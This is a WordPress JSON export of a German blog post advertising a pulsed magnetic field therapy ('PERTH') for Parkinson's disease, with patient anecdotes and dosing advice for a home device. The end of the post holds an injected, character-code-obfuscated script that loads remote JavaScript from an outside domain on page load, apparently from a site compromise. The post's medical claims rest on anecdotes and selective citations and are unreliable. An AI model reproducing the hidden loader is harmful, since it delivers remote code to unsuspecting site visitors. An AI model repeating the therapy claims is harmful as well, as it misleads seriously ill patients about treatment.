{"id":6296,"date":"2016-10-14T08:21:31","date_gmt":"2016-10-14T08:21:31","guid":{"rendered":"http:\/\/blog.energiemedizin.de\/?p=6296"},"modified":"2017-08-09T08:53:45","modified_gmt":"2017-08-09T08:53:45","slug":"pulsierende-energie-resonanz-therapie-perth-bei-parkinsonscher-krankheit","status":"publish","type":"post","link":"http:\/\/blog.energiemedizin.de\/?p=6296","title":{"rendered":"Pulsierende Energie-Resonanz-THerapie \u2013 PERTH bei Parkinsonscher Krankheit"},"content":{"rendered":"<p align=\"JUSTIFY\"><span style=\"font-size: medium; color: #000000;\"><b>Was ist Morbus Parkinson?<\/b><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-size: small;\">Das Leiden \u201cMorbus Parkinson\u201c tritt erst im mittleren bis h\u00f6heren Lebensalter auf und schreitet meist recht langsam voran (morbus = Krankheit; Parkinson = engl. Chirurg). Es ist gleicherma\u00dfen gekennzeichnet durch ein Zittern (Tremor) der H\u00e4nde und des Kopfes und eine Starre (Rigor) des K\u00f6rpers. Die Finger bewegen sich, als wollte der Patient M\u00fcnzen z\u00e4hlen.<br \/>\nDas Schreiben wird zunehmend erschwert und es kommt zu Entgleisungen im Schriftbild mit Verkleinerungen der geschriebenen Buchstaben (Mikrographie). Der K\u00f6rper ist in seiner Starre leicht nach vorn gebeugt, der Gang ist kleinschrittig. Die Sprache ist unartikuliert. Das Gesicht bleibt beim Sprechen starr, es bewegen sich nur die Lippen (Lippensprache). Es k\u00f6nnen Schmerzen oder andere Mi\u00dfempfindungen bestehen.<br \/>\nDurch das Auftreten vegetativer Symptome entsteht ein \u201cSalbengesicht\u201c mit fettig gl\u00e4nzender Haut. Da das reflektorische, unbewusste Schlucken verloren geht, tritt ein abnormer Speichelfluss auf. Psychisch brauchen keine Ver\u00e4nderungen zu entstehen, doch macht sich oft auch hier eine Verlangsamung bemerkbar.<br \/>\nDie Krankheit betrifft extrapyramidale Teile des Hirnstamms, in denen sich antagonistische Systeme finden, die sowohl einerseits eine Vermehrung von Bewegungen hervorrufen, als auch auf der anderen Seite eine Verlangsamung von Bewegungen herbeif\u00fchren. Das normale Gleichgewicht ist hier also gest\u00f6rt.<br \/>\nAls Ursachen kommen Arteriosklerose, Vergiftungen, Hirnentz\u00fcndungen u.a. in Frage. <\/span><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-size: medium; color: #000000;\"><b>Die Behandlung des M. Parkinson<\/b><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-size: small;\">Eine Behandlung dieses Leiden erfolgt mit so genannten Anticholinergika. Das sind Stoffe, die die Wirkung von Acetylcholin unterdr\u00fccken.<br \/>\nUm es auf Deutsch zu sagen:<br \/>\nEs wird bei dieser Behandlung die Wirkung jener Substanz &#8211; Acetylcholin &#8211; unterdr\u00fcckt, die die Reize von einem Nerv auf den anderen zu \u00fcbertragen hilft. Somit findet durch die Hemmung der Reiz\u00fcbertragung infolge der Medikation eine verminderte Leitung von Nerv zu Nerv statt. Damit kann sich z.B. das Zittern der H\u00e4nde zur\u00fcckbilden. <\/span><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"color: #000000;\"><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">Die Wirkung all dieser Medikamente ist nat\u00fcrlich <\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\"><b>nicht nur<\/b><\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\"> auf jene umschriebenen, krankhaften Nervenendigungen im Bereich des Gehirns beschr\u00e4nkt, die das Zittern hervorrufen. Sie wirken im gesamten Organismus. Daraus k\u00f6nnen dann unerw\u00fcnschte Reaktionen und vor allem nicht gewollte Nebenwirkungen resultieren. <\/span><\/span><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-size: small;\">Inzwischen werden auch Wege beschritten, das st\u00f6rende Hirnareal, welches die vielen Probleme hervorruft, operativ stillzulegen. Aber wer m\u00f6chte sich schon am Gehirn, fast in der Mitte des Kopfes so ohne weiteres operieren lassen? Ich jedenfalls nicht.<br \/>\nAls mich im Februar 1998 der Hirnphysiologe Prof. Petzold darauf hinwies, da\u00df man mit einer Zwei-Hertz-Schwingung und extrem geringen 7,5 Pikotesla Magnetfeldst\u00e4rke Epilepsie, Morbus Parkinson und die medikament\u00f6sen Neben-wirkungen der Parkinsonbehandlung (!) ausgesprochen g\u00fcnstig beeinflussen kann, war das der Beginn meines Umdenkens in der Magnetfeldtherapie. Mir wurde klar, da\u00df Magnetfelder zur Therapie eine viel geringere St\u00e4rke haben m\u00fcssten, als die vielen verschiedenen Therapieger\u00e4te normalerweise liefern. So kam es zur Entwicklung der <em>PERTH<\/em>. <\/span><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-size: medium; color: #000000;\"><b>Die <em>PERTH<\/em> beim Parkinson<\/b><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-size: small;\">Die erste Patientin deren Parkinson behandelt wurde, war meine Mutter (81). Bei ihr war das Zittern der H\u00e4nde besonders stark ausgepr\u00e4gt. Eine regelm\u00e4\u00dfige Heimbehandlung erforderte bei ihr gut eineinhalb Jahre. Dann war das Zittern kaum noch wahrnehmbar. So orientierte ich alle Parkinson-kranken darauf, sich bei regelm\u00e4\u00dfiger<em> PERTH<\/em> mindestens \u00fcber ein Jahr zu gedulden, bis sie einen Erfolg versp\u00fcren w\u00fcrden. Inzwischen wird meine Mutter im Jahre 2010 schon 95 Jahre alt.<br \/>\nHerr F. (68) aus der M\u00fchlenstra\u00dfe in Berlin-Pankow hat sich schon nach 6 Wochen sp\u00fcrbar besser gef\u00fchlt. Seine Frau teilte mir das am Telefon so mit: \u201cUnd Vatern jeht\u2019s jut!\u201c<br \/>\nHerr Harry H. (72) aus Obersch\u00f6neweide war nahezu v\u00f6llig an seinen Sessel gefesselt. Bei ihm war ganz deutlich ein Symptom des M. Parkinson ausgepr\u00e4gt, das man als Akinese (Ohne Bewegung) bezeichnet. Er konnte nicht einfach aus dem Liegen oder Sitzen aufstehen und losgehen. Deshalb wurde der Herr H. von seiner Frau und dem Sohn mit vereinten Kr\u00e4ften regelrecht aus seinem Sessel m\u00fchevoll herausgezogen.<br \/>\nVier Wochen nach Beginn der <em>PERTH<\/em> sagte Frau H. zu ihrem Sohn, er solle doch einmal aus dem oberen Schubfach des Schranks etwas herausnehmen und ihr bringen. Daraufhin stand Herr H. pl\u00f6tzlich aus seinem Sessel auf und ging zum Schrank. Herr H. war selbst ganz \u00fcberrascht, \u00fcber seine pl\u00f6tzliche Beweglichkeit. Die Ehefrau dagegen war so freudig erregt, da\u00df sie uns sofort telefonisch informierte. <\/span><\/span><\/p>\n<p style=\"text-align: left;\" align=\"CENTER\"><span style=\"color: #000000;\"><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">Damit habe ich die zwei Extreme vorstellen k\u00f6nnen. Bei den zwei Herren wurde relativ schnell eine Verbesserung ihres Zustandes erreicht. Bei meiner Mutter zog sich der Erfolg \u00fcber viele Monate hin. Alle andern Patienten mit einem M. Parkinson erlebten eine sp\u00fcrbare R\u00fcckbildung ihrer Symptome meist innerhalb eines halben Jahres regelm\u00e4\u00dfiger <em>PERTH<\/em>.<br \/>\n<\/span><\/span><span style=\"font-size: small;\"><b><br \/>\nParkinson und Soft-Magnetfeld<\/b><\/span><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">In den Jahren zwischen 1992 und 1998 berichten die Autoren Bardasano, Sandyk und George \u00fcber Parkinsonkranke. Ihre Patienten waren zwischen 70 und 87 Jahre alt. Bei allen konnten aufgrund der Behandlung mit <\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\"><b>p<\/b><\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">ulsierenden <\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\"><b>e<\/b><\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">lektro<\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\"><b>m<\/b><\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">agnetischen <\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\"><b>F<\/b><\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">eldern (<\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\"><b>PEMF<\/b><\/span><\/span><span style=\"font-size: small;\"><span style=\"font-size: small;\">) erhebliche Verbesserungen der Krankheit erreicht werden.<\/span><br \/>\nAuch Prof. Pelka von der Bundeswehr-Universit\u00e4t in M\u00fcnchen berichtet im Informationsblatt 09\/2010 \u201cMagnetfeldtherapie aktuell\u201c \u00fcber drei Patienten, die aufgrund einer kurzzeitigen Magnetfeldtherapie einen erheblichen R\u00fcckgang ihrer Parkinson-Symptome erfuhren. <\/span><\/span><\/p>\n<p style=\"text-align: left;\" align=\"CENTER\"><span style=\"font-size: small; color: #000000;\"><b>Eine klinische Studie an 200 Patienten!<\/b><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-size: small;\">In der Parkinson Klinik in Bad Nauheim konnte Dr. Henneberg 200 seiner Parkinsonpatienten mit einem extrem schwachen Magnetfeld im Pikotesla-Bereich behandeln. Er stellte dabei fest: <\/span><\/span><span style=\"color: #000000;\">\u201c<span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">Wir erreichten bei Ber\u00fccksichtigung der UPDRS III, einer anerkannten Parkinson-Skala, eine durchschnittliche Verbesserung der Motorik unserer Patienten von 31%!\u201c \u2013 und weiter \u2013<\/span><\/span>\u201c<span style=\"font-family: Arial Narrow,sans-serif;\"><span style=\"font-size: small;\">Bei gutem Erfolg dieser Anwendung ist eine Langzeittherapie denkbar\u201c, so die vorsichtigen Wissenschaftler! <\/span><\/span><\/span><\/p>\n<p style=\"text-align: left;\" align=\"CENTER\"><span style=\"font-size: medium; color: #000000;\"><b>Eine Langzeittherapie ist aber nur in Heimtherapie denkbar!<\/b><\/span><\/p>\n<p style=\"text-align: left;\" align=\"JUSTIFY\"><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-size: small;\">Nat\u00fcrlich ist eine MFT bis zum Lebensende anzustreben. Regelm\u00e4\u00dfig und sanft therapieren, das hat im Jahre 1991 schon Prof. Dr.-Ing. Herbert K\u00f6nig empfohlen und ich kann diese Empfehlung f\u00fcr alle Kranken nur best\u00e4tigen und weitergeben. Dazu ist es erforderlich, da\u00df das verwendete Magnetfeld extrem niedrig ist, nur so liefert es in der Feldst\u00e4rke k\u00f6rpergleiche Nerven-Signale. <\/span><\/span><\/p>\n<p style=\"text-align: left;\" align=\"CENTER\"><span style=\"font-size: small; color: #000000;\"><b>Behandlungsempfehlungen<\/b><\/span><\/p>\n<p align=\"JUSTIFY\"><strong><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-size: small;\">Eine <em>PERTH <\/em>&#8211; Behandlung sollte mit der Matte dreimal t\u00e4glich sanft als Ganzk\u00f6rpertherapie erfolgen. Einmal zus\u00e4tzlich am Tag empfehle ich die Behandlung mit einem Kopfap<\/span><\/span><span style=\"font-family: Arial Narrow,sans-serif; color: #000000;\"><span style=\"font-size: small;\">plikator, der f\u00fcr eine lokale Therapie sorgt. <\/span><\/span><\/strong><br \/>\n<span style=\"color: #000000;\"><span style=\"font-size: small;\"><span lang=\"en-US\">Copyright by Dr. R. Werner<\/span><\/span><br \/>\n<\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"color: #000000;\"><span lang=\"de-CH\">Verfasser<\/span><span lang=\"en-GB\">:<\/span><span lang=\"de-CH\"> Dr.<\/span><span lang=\"en-GB\"> med. <\/span>Reinhard Werner; <span style=\"font-size: small;\">Mitglied der Akademie der Medizinisch-Technischen Wissenschaften<\/span><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"color: #000000;\"><strong>Wir nutzen zur Prophylaxe von Morbus Parkinson das EMG &#8211; Profi Ger\u00e4t mit dem Programm 6 und dem Kopfapplikator mehrmals w\u00f6chentlich, weil damit erfahrungsgem\u00e4\u00df die besten Erfolge erzielt werden. Nehmen Sie <a href=\"http:\/\/blog.energiemedizin.de\/?page_id=29\" target=\"_blank\" rel=\"noopener\">Kontakt <\/a>mit uns auf, wenn Sie mehr \u00fcber die <em>PERTH<\/em> erfahren m\u00f6chten.<\/strong><\/span><\/p>\n<p align=\"JUSTIFY\"><span style=\"color: #000000;\"><strong>Achim Steffan &amp; Team<\/strong><\/span><\/p>\n<p align=\"JUSTIFY\">\n<p align=\"JUSTIFY\">\n<p><script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Was ist Morbus Parkinson? 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